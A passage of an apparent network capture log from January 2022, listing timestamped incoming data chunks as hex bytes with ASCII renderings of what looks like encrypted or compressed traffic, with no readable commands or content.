62 80 7d 58 31 52 b8 8f 39 49 4f cd 76 f6 a3 a0 38 5e 4b 29 3e 47 58 c6 d7 80 81 1d 30 24 5f b2 f7 ff 87 79 42 86 1c 93 6e ce 26 10 9a f4 2e 7c ab 81 86 d2 32 bb a4 57 3a Data Ascii: at`0WWSEJyoilKYK(!wC\#9h-nV$,7f`mzG3WU,4Il#a$q{,bXCS*FVyg7!ld5Q^aVh_"7;$eaQb}X1R9IOv8^K)>GX0$_yBn&.\|2W:
2022-01-14 01:05:11 UTC	1258	IN	Data Raw: c0 89 5b 42 71 55 60 ab d8 5b e3 37 82 50 ce 6b f5 19 66 a3 d3 9b f7 e3 b6 3a 76 81 9f 83 36 38 1f 58 e3 e2 eb 33 e9 aa ba 8c e1 26 c2 da 24 82 f9 57 69 71 84 80 e0 3f 80 a9 be 75 01 29 11 3f 4d 03 62 16 b9 bd 8c 96 4e 5b 53 9a f6 94 b9 7d 43 ad 2a 94 f3 70 77 06 c8 96 fa 0b 4e 57 7c ee a8 5b 60 ec 96 62 1a 28 24 c8 9e c4 cc 2e 12 17 1f e2 13 b5 0c 8b d9 ee 20 47 41 84 ff 66 69 f3 d2 e2 ce e5 a8 22 68 a5 06 1c 42 71 a3 d3 df 27 39 f4 67 4f 1e be a9 08 76 00 95 dc fe d6 10 19 d2 b2 60 b2 2a 2b c7 6e fd 02 97 13 1e 6a 4c f6 f7 21 fa 15 40 ed 24 d1 97 8d 65 c2 d1 db d8 72 2d ff a8 11 0c f0 2e 84 09 e5 13 5a a4 a7 8a 5a da c1 dc 59 f5 af 53 83 e3 cf 6f b5 7e ec bc 5d 70 f2 0d ce 1d ac ef a4 1a 05 f8 6c 25 e6 1c 50 1a d1 49 0c 1a 98 75 ad 20 8d bf 67 74 32 66 Data Ascii: [BqU`[7Pkf:v68X3&$Wiq?u)?MbN[S}CpwNW\|[`b($. GAfi"hBq'9gOv`+njL!@$er-.ZZYSo~]pl%PIu gt2f
2022-01-14 01:05:11 UTC	1274	IN	Data Raw: c7 2e 1e 96 e6 62 85 ac 21 9f 63 64 0c c2 e9 7b 72 59 b9 d0 85 e8 51 83 9a 80 aa b3 83 de b1 ce 72 8e 45 b1 ea 69 5a b4 09 6f 3b 93 e1 66 d4 f1 bc cb fd 8d 4e a0 5b a9 18 58 69 37 2b ad 6d eb b4 91 67 82 d4 c6 68 5f 4d f4 fe c2 26 a7 bb 8b 95 75 61 5f 3d 32 0e 97 06 5a eb 52 f7 28 a7 52 48 17 02 07 71 c2 bf cc fd 97 38 c5 92 17 fc 83 50 68 ac 91 48 1b e3 e5 62 40 77 d7 8e 90 91 0e 2c f9 a1 da 13 df f5 ec 08 fb 93 c5 f4 59 1e f8 e3 d1 22 d4 81 dd e0 f8 2e 4c d6 1c 00 15 e5 54 f8 1e 6a de da f8 7b ba 48 f7 be b4 99 ff 02 a0 4b d0 b5 fb c8 8e 4f 2b 50 66 31 ec ac a6 32 12 43 08 22 89 c1 85 59 94 91 ed d6 cb 72 f9 85 05 e8 96 56 af 71 b9 19 73 f5 9a 12 c9 e0 47 15 26 34 1a a6 79 57 96 58 26 fc 32 45 af 91 d7 26 46 b0 05 bd c3 c2 60 f7 af 39 4c 4d 34 70 82 56 Data Ascii: .b!cd{rYQrEiZo;fN[Xi7+mgh_M&ua_=2ZR(RHq8PhHb@w,Y".LTj{HKO+Pf12C"YrVqsG&4yWX&2E&F`9LM4pV
2022-01-14 01:05:11 UTC	1290	IN	Data Raw: 83 d8 97 e0 2d 52 a8 91 e7 6b c3 c6 66 0e f6 93 45 0b 64 b2 aa a6 76 ca 94 a3 c4 3b 0f 87 c0 e3 5a eb 57 66 92 55 37 50 5b af e8 4c 57 bb be 03 e0 dd cb 80 44 90 2d a9 2b 49 28 86 50 a5 d3 f1 e3 73 47 9d dd 75 c0 e1 9d 30 6b 86 4b a6 eb 85 20 7f 48 9c d2 1f 34 dd 31 3b aa b6 e1 56 cd e2 e3 ac e2 15 8b df 72 c9 fe 45 94 25 91 b0 15 cc 78 8a ae b1 26 9a 12 09 b9 b9 73 46 af ea 53 47 ae 12 73 ff 81 87 4f 3b 2f 47 74 06 7c 50 8a f7 92 77 51 de 60 15 84 3a 5a 5d be 72 19 92 ce 58 38 a5 fb f0 80 fa f0 45 d2 ed 26 2b 27 c4 f3 cf f9 42 fb b2 ed 1a b6 e9 dd 6f 03 7d 33 f6 ec dd b7 91 af 6c ae 23 c3 13 9a 3e 92 13 e8 6d ee d6 5e 3c 10 ce 0f c6 14 b6 76 e8 1f 7a ab d3 ff a1 11 3b 1f 4c f8 42 61 04 a0 a8 78 3e b5 0b 5c eb ba cc 4a dd 49 e6 7e 0d 1b d1 21 41 9a a7 c2 Data Ascii: -RkfEdv;ZWfU7P[LWD-+I(PsGu0kK H41;VrE%x&sFSGsO;/Gt\|PwQ`:Z]rX8E&+'Bo}3l#>m^<vz;LBax>\JI~!A
2022-01-14 01:05:11 UTC	1306	IN	Data Raw: 8c 63 be 8b b8 32 eb c7 01 08 33 04 67 98 ee b0 29 4d de e8 ea dd a1 20 29 54 14 51 b6 66 6f da bf ce d1 6e dd 1d 7a fa c1 6a ce 95 84 d6 4e 89 93 89 22 00 b3 11 77 fc 12 c3 5e 10 c5 25 0f 8c bb d9 af 75 93 9f d5 f0 00 80 0b d7 1e 7a 4a 7e 7c 67 75 07 68 a4 da 12 33 a4 aa c0 24 44 8e e3 d2 1b 69 57 bb 29 e0 1c c6 c3 6d da d1 05 8e 00 d5 24 53 8b cd d6 0e 36 ce ed c1 b6 d4 fd a6 c4 d9 f5 8c bd 91 58 87 b9 73 7c 6d db 17 fa 3c 9a 9f 7a 6b a8 f4 4a d7 55 ea bc db 82 da 9c 50 61 83 46 d2 0c b7 e4 ec 76 be a0 4e d3 ac 5b 75 de bd db 17 c6 3d 42 01 56 e4 65 c2 50 c5 88 c3 07 19 29 3c 0e 13 2b 90 d8 00 50 76 f4 11 f3 e8 1c b8 53 22 16 a1 2d f8 98 67 64 d3 04 4d 5f 35 e8 cd ec 3f 85 f9 a4 e4 0c d4 f8 ec b9 9b 4c 20 76 37 fa cd 59 d6 04 d9 50 5d 95 b0 d2 aa f8 73 Data Ascii: c23g)M )TQfonzjN"w^%uzJ~\|guh3$DiW)m$S6Xs\|m<zkJUPaFvN[u=BVeP)<+PvS"-gdM_5?L v7YP]s
2022-01-14 01:05:11 UTC	1322	IN	Data Raw: b3 6c ed c5 db 5a 9d b5 82 15 dd 74 7f e9 f7 32 e3 43 23 b0 c2 cb dd 4a f9 8b a6 4c 0a 58 84 22 ba 40 b7 8b 5a f7 d1 8b 6d 90 be a4 74 2f 4f 19 c1 a0 82 16 96 25 55 70 fd 8b 72 56 b3 f7 61 6d 75 8d ac ee 51 b4 ab 6b ca f4 1a a1 65 93 e0 e5 50 2c 2b 5d 2a 49 0d 69 d9 80 2c ee 36 c2 25 31 20 84 f1 d3 5b 65 a9 a7 a2 21 01 58 af b7 62 42 ef df 38 6e 50 e2 88 ca 4d d6 dc dd 8a d8 d6 d6 f0 4a 81 e3 af 87 c0 38 5b 05 54 52 dd 29 d1 37 48 23 5a 60 0a 7d e2 bb c8 74 78 00 4b 25 4a bb 59 7a f4 6e 4a 84 76 48 70 13 0c 6f b4 59 9e bb 7a 39 8d c6 87 c5 f0 ad a4 4c f5 1b 4a 65 96 c6 25 c9 40 8c 0f fd d8 29 44 5e 2f cd ff 90 e6 b2 77 08 2a c4 3b 08 3b 9f 57 18 7a e8 82 a6 90 dd df 21 5d 86 44 6a c0 ff 84 c5 86 ac 6e 98 47 3b ca 75 8d b1 ec c4 97 42 15 25 6b f3 38 f6 de Data Ascii: lZt2C#JLX"@Zmt/O%UprVamuQkeP,+]Ii,6%1 [e!XbB8nPMJ8[TR)7H#Z`}txK%JYznJvHpoYz9LJe%@)D^/w;;Wz!]DjnG;uB%k8
2022-01-14 01:05:11 UTC	1338	IN	Data Raw: a7 c4 f5 80 21 fb 25 2c f5 32 ca d4 35 e3 dc 61 4d 32 d5 fe 5d ff fd 10 d8 01 61 36 14 44 53 93 24 ab 01 6d 68 77 8c 32 7f 25 70 4c 8f 24 57 19 ba f1 4c bc 6f fb 19 dd 98 58 2d bf 48 9b 6c cf 9c 56 83 bf 43 a9 3f a6 55 b5 b0 63 a9 e3 0c 04 f1 82 8b cf f9 2c d7 11 9c c9 5d 8c c6 e1 c6 88 c0 a2 89 94 19 01 6d dc 6d 82 53 bb a8 6e ec bd 0b a8 3c 6e 3c 0e 68 1b 50 40 a0 9c 1a 55 1d 36 ee 0b 1a 35 a6 6c f0 03 20 e0 b3 ea e8 e9 a6 9b bf 04 5e b0 fe 3f 92 3f 7d c7 6b 2e fe bb bf e3 81 31 0e c6 ef 93 f7 58 d7 26 5b cc 35 c1 03 4f b8 72 b4 cc 4f f8 df ee f3 a7 47 a7 e1 3d ec d2 2b 7a 37 30 e8 16 e1 da f0 db 8c 0b 56 17 01 b4 fa 0a 9f 64 8a 78 a8 6c f2 1a 0d 3c 42 4e f9 b4 53 64 2c 9a 45 a9 3d 61 62 b8 ad 56 0c be bf 72 42 f2 ac ab 55 28 42 70 b0 52 98 3f 09 0f d4 Data Ascii: !%,25aM2]a6DS$mhw2%pL$WLoX-HlVC?Uc,]mmSn<n<hP@U65l ^??}k.1X&[5OrOG=+z70Vdxl<BNSd,E=abVrBU(BpR?
2022-01-14 01:05:11 UTC	1354	IN	Data Raw: f9 e0 7e 5b f8 4e 1f 7c 62 b1 04 84 55 44 48 a3 c0 e6 7a 8e c5 69 0c f0 8a 15 6d ab 52 f5 2b 99 f3 a9 55 5f a7 8c 48 c1 2a a3 0a 15 71 c2 63 36 df 07 4e 6c 2d f2 a5 8b 2d b5 9f da e5 bb b3 77 39 9c 38 24 49 c6 b7 a6 c5 f4 ba 5d 26 f1 4d 00 b2 db 9a a6 f8 7e 21 a2 69 d2 f3 cb dc c3 1a 29 86 6e 26 34 2d f9 f2 bc c2 c9 4e e2 df 9a 71 2b d4 e2 c5 2b 46 d6 6e f7 fb e0 75 84 b4 50 eb 0e f6 b3 17 25 14 8d 38 06 05 7f 36 9a a5 b5 47 8c 37 f6 35 1a 62 d4 96 55 64 02 1e 18 ef 70 37 c4 78 1d 94 d9 cf 2b b5 20 b7 ca 55 0a e2 01 3e 9f c7 86 78 32 5d 7c a0 b5 c7 03 bb 27 8e cf 0d 6e 2f 9e 17 2f 86 ff f6 94 a8 8e 93 de 93 74 05 34 6f 6f 8f 35 1f ae b6 96 e9 52 47 e1 2d 99 08 c2 a4 6f a8 de f4 68 fa 01 99 68 71 14 73 82 89 cc 8c 4a 03 b9 ae be 92 4d 52 61 a8 65 ab 7f 85 Data Ascii: ~[N\|bUDHzimR+U_H*qc6Nl--w98$I]&M~!i)n&4-Nq++FnuP%86G75bUdp7x+ U>x2]\|'n//t4oo5RG-ohhqsJMRae
2022-01-14 01:05:11 UTC	1370	IN	Data Raw: 32 9a b5 88 75 47 b4 af af ec 46 9f b4 9e 56 41 b7 ba 76 82 2c 65 3c 35 d2 6e 6b 89 01 5f c1 da 28 2a e5 72 6f 75 be fb 94 cb 5f 24 53 e2 55 61 a6 e1 aa 33 23 aa ef 4f ae 22 69 2a 19 c3 15 ac a6 63 44 47 10 bb b1 c9 7e 2c 72 1d b1 b0 17 54 9d ae 9e b9 84 f6 5c 4a 12 dd 16 ac 0d 2f 0d 4e b8 b5 c2 9d 06 4e f4 0d 9d c8 dc 41 96 c3 fc 3d 00 09 3b fc 78 9d eb 76 b9 17 f5 ef 85 64 d3 07 bb db 6a 42 c2 91 74 7e 99 d3 35 08 a0 03 f9 ae 51 6b f6 3e 10 69 d9 84 17 bc cd 79 33 be 04 47 aa 9e e2 5e 38 29 17 f5 e7 a0 0d de 3a c2 b6 b9 1b 75 c8 05 1c 38 eb 1a 6c fe ae c3 ca 97 0d fe b5 86 2a ed a0 97 3f 5a b5 a6 4a 22 d7 9b 97 fe c3 18 69 02 d2 d4 f7 59 72 fd 1c 3d 15 01 cf 18 c3 d8 30 4e c6 6e 75 9b c9 d4 8c 1d 3b 4b cd d4 1d cd a0 0c 2c 01 04 91 6f 1d ae fb ef a9 cf Data Ascii: 2uGFVAv,e<5nk_(rou_$SUa3#O"icDG~,rT\J/NNA=;xvdjBt~5Qk>iy3G^8):u8l*?ZJ"iYr=0Nnu;K,o
2022-01-14 01:05:11 UTC	1386	IN	Data Raw: af 1b a9 e1 17 47 09 6d 38 ca 66 5b 1c 45 19 3d 44 d4 d7 62 e9 51 2d 29 35 83 48 25 7f 89 4f 08 af b2 5b 19 7c d1 fd 3b b7 a6 f3 a0 16 64 97 f7 b8 bc 59 c4 e2 84 77 65 f0 d1 c2 73 57 2c b7 93 2c dc 94 2f 57 3e 9c 46 34 5d d1 ba 0e 72 e3 bb 4f e3 a3 d5 62 a3 e7 79 21 03 44 aa 79 3e fb fb aa b7 96 76 0e 7f 89 50 64 28 9c 03 1c 82 8b ca 46 55 91 bd b7 53 20 e1 3b 9e b8 dd 1c f9 a1 7d 6a 73 db c0 8b 2f 51 89 9f 25 46 65 8d 8d 64 47 24 60 ae 96 99 14 22 c2 70 2e 2f 6f 49 c2 dc f1 a5 d1 e6 d5 21 86 a5 61 f9 ac b6 4f bf 2d 51 b5 9e c9 2b 6d 7c c7 b8 84 5d e8 83 01 0a 5e 77 ae 95 60 c4 ff 94 56 fa 25 ef 46 0b 38 f3 56 67 2a 6d aa ed b8 da c9 6c 9a 60 91 5d 38 39 b3 5e 75 27 c7 5c 63 7e 8a ff ce a7 f1 6d b4 76 df 9c b6 65 b4 af 1f ba a3 3d 38 18 4c 16 73 7a a5 fc Data Ascii: Gm8f[E=DbQ-)5H%O[\|;dYwesW,,/W>F4]rOby!Dy>vPd(FUS ;}js/Q%FedG$`"p./oI!aO-Q+m\|]^w`V%F8Vg*ml`]89^u'\c~mve=8Lsz
2022-01-14 01:05:11 UTC	1402	IN	Data Raw: 24 8e c4 52 c4 e1 53 34 54 1e 69 e3 90 40 4e 2b 36 50 73 36 84 98 8b cf 52 4d ba 3a c8 d0 96 22 e4 9f 4c 77 c0 80 b6 2e 83 b9 30 52 bb 47 1f d7 4d db 09 19 a4 c9 88 dc d3 d0 d4 c6 3c 92 48 ec df 1e 34 e3 3b 85 ae b4 b3 36 39 bc 57 bc 91 8f f6 d5 0d 4a 9f cf cb 72 8c 40 c0 c3 af e9 26 aa b7 4a 52 36 bc 94 f2 5e 1a cd 3c f7 56 9d 83 00 fb 4e a7 58 01 5a ab 15 20 3b e1 b7 78 2d aa 4f 21 f1 9d a7 48 c8 e9 37 c8 f0 4e d7 8e fd a3 24 fa c9 5f 1b e6 58 17 97 88 73 c5 48 01 35 42 f1 94 e3 fb 8c a4 62 df e5 28 6c a1 d0 99 86 7a 48 84 6d 24 c3 31 b0 19 14 c6 5c 2e 7c 11 34 15 8e 29 14 d6 c3 1d 1f 2b 8b d9 f8 bb af d1 0c aa 1b 2f c3 51 2a 2e de 4b 2c f8 74 51 a6 8f 4b f1 af 61 67 03 d0 2f f7 e9 ef 99 b1 cb d0 c3 17 64 e5 b5 92 1b 60 95 ef 03 a1 b7 69 08 9b 46 4c 16 Data Ascii: $RS4Ti@N+6Ps6RM:"Lw.0RGM<H4;69WJr@&JR6^<VNXZ ;x-O!H7N$_XsH5Bb(lzHm$1\.\|4)+/Q*.K,tQKag/d`iFL
2022-01-14 01:05:11 UTC	1418	IN	Data Raw: b9 da 12 27 62 2d 85 14 84 8a 99 be a8 62 dc 00 9c 48 58 6b e9 dc aa 0f 88 74 92 72 62 c7 b4 f5 c9 72 8e ab 86 31 8f 78 60 94 17 1c 5e 0e 23 f9 1e ab 82 48 5d 5e 72 8b 88 38 4e 72 aa b4 5d d0 b1 25 5d f6 1a fe ce de 1a e9 d7 cb be 34 a8 9f 4c 15 92 95 f9 24 da e9 42 4b ed 0d 1b 68 51 09 be a5 fe 70 c1 06 2c 7b 55 aa df 53 d2 02 f1 32 7e 15 f6 58 3e a6 a7 c8 52 96 f0 57 b9 70 2f 47 d9 a5 33 0d 89 ea 96 d0 f8 30 d1 2e c1 70 2c 67 33 5d f0 a5 17 da 5a 82 8d 31 06 f3 3a f3 8e 96 94 a5 e2 62 79 9a 01 54 59 60 e9 12 70 2b c8 ef 4c 75 75 fa 40 20 a8 60 6c c2 6b 60 6f f0 57 25 d9 95 59 33 16 29 f0 2a 43 64 0e cd ec 91 aa 16 ea 8d 4c d7 0e d5 4c 72 4d 42 5e 85 ee 51 67 03 dc 86 79 05 c7 4c 21 7d ea 83 0c e0 39 52 ab d2 db c2 b0 a7 57 07 64 f6 97 dc 09 fc 3d 89 59 Data Ascii: 'b-bHXktrbr1x`^#H]^r8Nr]%]4L$BKhQp,{US2~X>RWp/G30.p,g3]Z1:byTY`p+Luu@ `lk`oW%Y3)*CdLLrMB^QgyL!}9RWd=Y
2022-01-14 01:05:11 UTC	1434	IN	Data Raw: 8f 64 60 31 f2 a9 cb 3b 1e f4 75 86 ae aa a2 39 3c 99 ed 8c e8 58 6a fe a2 07 49 be 32 7c 84 cb 12 6a 16 30 f4 58 05 f9 d6 4d 2a cb 7f ea 06 84 33 54 64 60 e4 3d 3f 7f 92 8e df 2c ea 09 6e 6b 26 b4 ab 82 24 e1 4b 33 1d d3 fb a6 14 6e 32 37 17 4a da e9 b6 2a bf cb 1c 8a 8c 93 5d c7 b0 f1 2d 4b c1 9a f3 4b 21 50 2f 76 d4 c1 1e c0 81 fd 99 22 74 e6 40 d5 89 5c 17 fa 8e 04 59 a2 18 8b 9f a6 62 7c 6a d1 ab a3 e5 37 67 8f 2c 54 86 b6 f1 f4 ca cd ad d9 6a 13 7a 5d 66 8a da 4e d3 a5 a7 de bf 12 86 8d c6 7d 4c dd 02 8e 8e 21 d3 7e fc f7 e2 33 03 b3 bc 5e cd b4 2b 6b 99 73 89 d9 7a a4 cc 7b 5f d9 69 0c 92 e1 ad 51 e4 80 c1 cf 7f 29 87 27 5b 87 cf d5 43 f9 3a 09 50 b0 d4 eb 8c 7b 4f 68 a2 87 ce 68 bb 99 99 f1 1e d6 b2 5b 7b 29 4b c7 76 3b 15 fd 6d f2 bb 6c 52 f5 40 Data Ascii: d`1;u9<XjI2\|j0XM3Td`=?,nk&$K3n27J]-KK!P/v"t@\Yb\|j7g,Tjz]fN}L!~3^+ksz{_iQ)'[C:P{Ohh[{)Kv;mlR@
2022-01-14 01:05:11 UTC	1450	IN	Data Raw: d5 46 59 a0 6c 3e c2 ff 86 b3 98 75 b3 27 ea 85 5b 65 f2 8d d9 52 67 b7 f1 20 b6 e9 6e 76 db af 63 23 4b 00 7a 72 ba 6a dd 23 01 55 89 0d 37 27 27 20 53 3f 72 99 96 a6 0e 3e 35 b6 98 71 f7 36 fa 99 f1 db 0b c1 37 a4 2a 75 1c 4e f7 4c 87 de d7 86 53 a9 df 6b 55 1c a3 97 21 27 fd 51 86 9c 43 ef 63 49 e9 a9 55 04 24 18 a9 c8 fe 9c 72 9b 4f c8 f3 99 23 d7 f3 d4 55 ce e7 c6 61 11 eb 85 08 c9 c3 12 37 78 93 ad 79 b1 e9 42 d0 37 a3 f6 e0 85 16 59 8f f8 f7 b6 03 ec 4d a1 52 f9 12 12 3c be 5c cf 30 5b c5 b1 58 88 c4 aa ec 13 86 a6 d2 71 ab 64 0e 26 f7 89 fa c1 37 f8 d0 9a 88 fc d3 6c 86 67 2a 5c 85 a0 95 a5 b0 35 7b c5 d8 98 d0 41 66 a3 16 a8 0e 38 5d 18 95 43 b9 30 f7 59 b5 c9 47 c4 ee a4 0c 3a 5b 92 a4 e7 55 a5 b7 a2 bd bc 85 37 12 18 fa 08 fa f2 83 ec f4 d4 84 Data Ascii: FYl>u'[eRg nvc#Kzrj#U7'' S?r>5q67uNLSkU!'QCcIU$rO#Ua7xyB7YMR<\0[Xqd&7lg\5{Af8]C0YG:[U7
2022-01-14 01:05:11 UTC	1466	IN	Data Raw: 00 2d fa b7 ae 36 1d cc b8 fa 9c e4 ff 27 80 6c ba 22 48 7f ec 4e 4c ef ff fc 84 1d 1e ff 5c bb bc 55 c3 dc da 79 d4 89 de 10 0f 98 f2 8c 88 5e c7 0c ac df 42 32 90 79 1c 94 15 99 10 0d 9a 75 39 44 cf 10 8e 07 b6 fb a5 12 56 cb 65 3c f2 9b b4 a3 9d 39 01 ca e6 4c 08 d0 d1 0b 83 94 b1 ef e1 89 87 01 3b 5b a3 88 4b a3 16 66 a0 50 ae 8f b1 2b fb 71 6a bb 38 94 10 ba e2 7a 56 20 ca fb 29 68 7d 94 03 77 46 72 a4 c7 29 46 14 3c 11 d5 bd bd dd 5b 18 e5 9c 4b a6 87 e7 9a 92 aa cf ee 9e 29 63 2d 84 d1 bc 60 ee 19 59 6b a3 46 2c 72 1e f1 d0 fe f1 4e 33 4e 42 a9 48 a2 90 7e 40 fa 1e 2a 42 26 e6 df 1e d7 7f c6 75 da 41 38 d9 56 21 30 cb b1 22 99 ee ed 89 d6 f2 03 17 08 e5 ee f0 10 d0 23 5d 76 1b e4 b7 c7 1a a9 b7 61 df c4 6c ac d8 4d b3 f6 d8 eb 30 83 8a 0c 07 e2 0a Data Ascii: -6'l"HNL\Uy^B2yu9DVe<9L;[KfP+qj8zV )h}wFr)F<[K)c-`YkF,rN3NBH~@*B&uA8V!0"#]valM0
2022-01-14 01:05:11 UTC	1482	IN	Data Raw: 20 e4 ba 56 83 5f 6b f9 75 31 bf ee 15 a8 cb b6 30 53 64 0f 16 50 7c 16 9e e2 7d 8c 86 53 47 d8 ba bd 72 5b 8f e5 77 df 47 a3 cc 19 cf 57 66 2b ad 80 73 7a c1 c1 b5 36 89 e7 e5 35 50 20 c0 24 59 88 c7 75 29 ee cd 63 85 b8 f3 84 4f d5 fb 81 be 14 e1 09 c7 06 77 ee 50 7d f9 9c ff 86 15 02 6f 36 de e6 22 12 e7 3f 30 11 01 8c 42 21 b1 03 03 ec 25 55 49 b3 42 0f 45 8b 11 f8 69 22 55 8a b1 84 2c c5 ac 65 ad 69 3e a4 dc cc b7 74 04 ca ca ba b6 de f7 4f d3 f2 b7 e3 28 d9 52 b0 b9 11 a0 8d 92 7c 66 be 8f 0a ce fc 79 fd 80 2b cb a4 76 4e 95 8f 1e 81 5a c3 e2 1f 61 2a 1d f7 91 88 cd 9a e1 4e 48 b9 07 56 cc 6d d8 56 25 64 c0 02 e0 c4 49 c5 2a ec 81 43 66 6c 04 48 4d a0 e8 a8 82 da bd 84 f6 0b 60 46 fb a2 5e a0 9d 18 93 c7 d7 7c 24 ce e5 0b 38 5c d9 86 e6 f3 da 8b d9 Data Ascii: V_ku10SdP\|}SGr[wGWf+sz65P $Yu)cOwP}o6"?0B!%UIBEi"U,ei>tO(R\|fy+vNZaNHVmV%dICflHM`F^\|$8\
2022-01-14 01:05:11 UTC	1498	IN	Data Raw: 1e 72 cf 12 1d b8 dd f5 33 cf 72 e2 25 15 d5 67 96 03 b4 0c 3a c1 44 de cf 0a 87 eb 1a 42 d8 5c 3f 05 9b 32 8f 80 41 70 7b 15 fd bd 1b 0b 05 36 c0 c7 b3 f0 9f 80 5b 06 b0 98 8d 32 b1 87 e4 c5 01 ec d1 10 18 5e 4e f8 4b 99 8c bf 27 ac 3b ca 99 73 fe b3 24 79 80 42 08 f8 16 7c 30 76 38 86 dd 75 4e c7 ac de 45 99 4c e0 30 b5 fa 50 db f1 91 c2 f8 d5 9a cb f5 c1 36 81 93 7b 20 a1 be ba d6 db 20 3d fa f3 75 eb 9a bc 5f 15 3c ee 26 2e 0f 91 3e 1c 43 63 9f 52 00 c1 4d b8 ab 2a 0a 32 e0 5c 9e 13 ef ae bd 47 1a 87 4c 1e 05 51 f7 b8 6f ec fe 48 55 d5 aa a8 43 71 4d e3 8b 3d 53 cc 43 fb f5 7d 6a 32 0f 52 6f fa 10 1f b0 ed 9a 6f bc 1b a7 a1 43 2c cb f7 ae a9 79 15 76 02 75 3b 6d 1e 88 26 01 3a 10 6e f3 72 5c 7f d9 56 32 6b 56 7c ea 54 fe 5e 9a 39 dc e3 2b 17 f6 22 27 Data Ascii: r3r%g:DB\?2Ap{6[2^NK';s$yB\|0v8uNEL0P6{ =u_<&.>CcRM*2\GLQoHUCqM=SC}j2RooC,yvu;m&:nr\V2kV\|T^9+"'
2022-01-14 01:05:11 UTC	1514	IN	Data Raw: 70 a1 df a0 b8 58 f5 14 80 8e b2 8a a6 75 bc 3c 8c ff 65 03 6a 26 4e 4b 61 5a af 9a 3a f4 4a 3c 3c ea d1 23 bc 37 e9 d6 7b 57 f7 bf bd e7 7a 0d 61 45 f1 68 59 ce 9e 0a af 4a c2 c9 5d a9 ac 2d fe 9b 10 5b 04 88 81 f9 66 55 06 2c d0 75 d0 4f ea 70 60 62 68 91 ff e1 ad 9e 1d a6 ea 74 ce 6d f3 b6 bd bc 98 c7 b2 21 38 24 51 0d 23 d1 78 2f 5d 8c ff c3 4b b3 bd bd 87 91 59 e5 9f 16 d8 61 74 0f b3 48 b5 37 88 f3 de ee 61 50 37 58 b1 dd e9 d7 aa a5 c6 35 dd c9 78 1e 5e 57 de dd 74 6f 96 90 7d ff fe e9 e2 fb 27 9c a3 36 26 d8 b6 3c 67 65 6d 81 0c 0b 88 e6 b5 bf 0f ba 8b 90 5b 40 76 e3 c8 c5 af 0d 77 ec 8e 05 66 64 61 ee dc 5e eb a1 b1 b0 06 3c 29 82 4e cb 6e 38 66 0c 4a 82 a7 f1 9c d9 17 44 6e fa 28 1e 58 72 cb e3 de 63 08 fe 84 61 32 ba b0 f5 9f ae 18 6c 57 6b f1 Data Ascii: pXu<ej&NKaZ:J<<#7{WzaEhYJ]-[fU,uOp`bhtm!8$Q#x/]KYatH7aP7X5x^Wto}'6&<gem[@vwfda^<)Nn8fJDn(Xrca2lWk
2022-01-14 01:05:11 UTC	1530	IN	Data Raw: cd ef 3f 31 b0 d6 f6 b9 e0 ae 7b 7f 32 10 d1 a5 96 2d 80 2b 79 ab db ad aa 31 a1 56 2e 0c 47 d2 a6 15 c9 1f c6 f9 7d 85 bf 9c 5d 5b 9a ee 88 e5 41 a4 c1 5b bf 50 30 ec 3d b6 97 f0 55 de fd 78 b8 6d 43 db b3 35 e4 07 56 65 d2 0d 11 78 6a 30 78 a8 c8 5a 0a e1 14 7d c7 3c bf f1 ec 2e 47 cd 29 62 72 1c b7 a2 5d ca a9 18 ab 10 47 30 e2 d1 05 55 15 64 e3 7c dd cd 29 de 17 54 fb 76 dd db 40 28 f4 24 e8 35 c2 6f 7e 55 1e 5b cf f1 ed dc 43 83 25 a1 c7 ce 67 25 ca 65 63 5a bc bb b2 c9 48 cc af a9 6e 9e 33 b3 35 3a a5 2a 6f 2d 63 62 6b b5 6c 3e 29 71 95 ad d9 b4 b2 03 ed 87 f8 ac 80 33 7e 3f c0 87 cc 8c 66 1e 0d 73 63 20 3d 42 ac 5e aa b3 69 c1 b8 42 4a db c2 35 b8 8a fe 6e 07 91 0a 43 b6 42 a4 5e f0 fd 37 fc 31 48 01 f0 83 9b ac 57 04 d8 b7 c0 50 a7 97 7d ee 58 79 Data Ascii: ?1{2-+y1V.G}][A[P0=UxmC5Vexj0xZ}<.G)br]G0Ud\|)Tv@($5o~U[C%g%ecZHn35:*o-cbkl>)q3~?fsc =B^iBJ5nCB^71HWP}Xy
2022-01-14 01:05:11 UTC	1546	IN	Data Raw: 17 27 b8 ab 50 2d d0 2f 23 f7 9c ff a1 24 2d 85 0c df de 51 1f e6 9d 6c 61 30 b9 80 f8 8e b2 c7 36 90 00 c9 3b 20 f1 b9 c9 d1 e3 7f f6 65 cc a9 e3 72 3a 83 7b e2 c9 9c 55 2d 43 5e 7b 13 eb ce 24 25 46 73 a4 ae 61 03 ab 94 09 a5 d0 5d 0e 99 78 76 1a 6b 46 05 f3 b3 c5 de c3 e7 ce 29 b4 60 fd 94 c0 29 1a 8c c0 64 3e 12 7c da cb 5f 37 f3 8b 45 fe f8 cc 82 6f b0 9f 17 34 47 65 90 6e 56 ad 7f 67 d5 05 be 98 d3 26 81 8c 52 6e 27 85 76 ab 95 f4 1c 61 19 4c bd 45 a6 a3 78 a0 65 7a 1a 46 df 26 0d f3 62 24 29 c8 fc c6 de 59 91 f0 b6 4a 11 cc 7c 2b f7 0d e1 28 da ee 5d b6 fb e9 b9 1f aa d9 39 0d 36 43 03 8a 48 51 57 71 8e c9 9f 7b 2b d9 8a a0 d1 b4 67 96 0e cf 2c ce 93 1c 28 70 d5 d0 37 74 ec d9 fb 39 98 cb cd 07 bd 93 17 7a 82 0e 09 87 cc b3 d9 60 3b f6 63 67 01 84 Data Ascii: 'P-/#$-Qla06; er:{U-C^{$%Fsa]xvkF)`)d>\|_7Eo4GenVg&Rn'vaLExezF&b$)YJ\|+(]96CHQWq{+g,(p7t9z`;cg
